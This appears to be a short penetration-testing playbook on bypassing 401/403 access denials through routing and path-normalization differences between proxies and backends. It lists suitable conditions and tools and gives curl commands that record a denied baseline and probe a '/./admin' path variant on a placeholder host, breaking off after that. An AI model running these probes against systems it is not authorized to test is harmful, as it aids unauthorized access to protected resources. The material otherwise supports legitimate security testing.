401-403-bypass-techniques

1# 401/403 Bypass Techniques
2 
3A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy,
4web server, framework) decide differently about the same request. The useful
5signal is a change in routing or protected content, not a status code alone.
6 
7## When to Use
8 
9- A known route returns `401 Unauthorized` or `403 Forbidden`.
10- A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
11- Frontend and backend normalize paths, methods, or headers differently.
12- IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
13- Equivalent requests return different status, headers, or body, hinting at a routing differential.
14 
15## Prerequisites
16 
17- An HTTP client that preserves raw paths: `curl --path-as-is` or Burp Repeater.
18- A denied baseline request plus a marker for the expected protected content.
19- Optional tooling: `byp4xx`, `dirsearch`, `feroxbuster`, Burp Intruder, `nghttp`, `nc`.
20 
21## How to Run
22 
23```bash
24TARGET="https://target.example"
25PATH_DENIED="/admin"
26OUTDIR="${OUTPUT_DIR:-./output}/401-403"
27mkdir -p "$OUTDIR"
28 
29# Denied baseline: record status, headers, and body for comparison.
30curl -sS --path-as-is --max-time 10 \
31  -D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
32  -w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
33  "$TARGET$PATH_DENIED"
34 
35# Compare candidates against the baseline.
36curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
37…